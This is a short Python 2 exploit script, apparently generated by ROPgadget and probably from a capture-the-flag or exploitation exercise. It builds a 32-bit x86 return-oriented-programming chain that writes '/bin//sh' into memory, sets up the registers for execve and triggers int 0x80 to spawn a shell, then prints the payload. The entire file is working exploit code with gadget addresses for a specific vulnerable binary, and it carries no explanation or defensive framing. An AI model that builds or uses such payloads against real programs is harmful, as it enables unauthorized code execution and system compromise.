#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = 'AAAABBBBCCCC'

p += pack('<I', 0x0806fb7a) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b9086) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805557b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fb7a) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b9086) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805557b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fb7a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080493e3) # xor eax, eax ; ret
p += pack('<I', 0x0805557b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x0806fba1) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080eb060) # padding without overwrite ebx
p += pack('<I', 0x0806fb7a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080493e3) # xor eax, eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0807b15f) # inc eax ; ret
p += pack('<I', 0x0806d755) # int 0x80
print p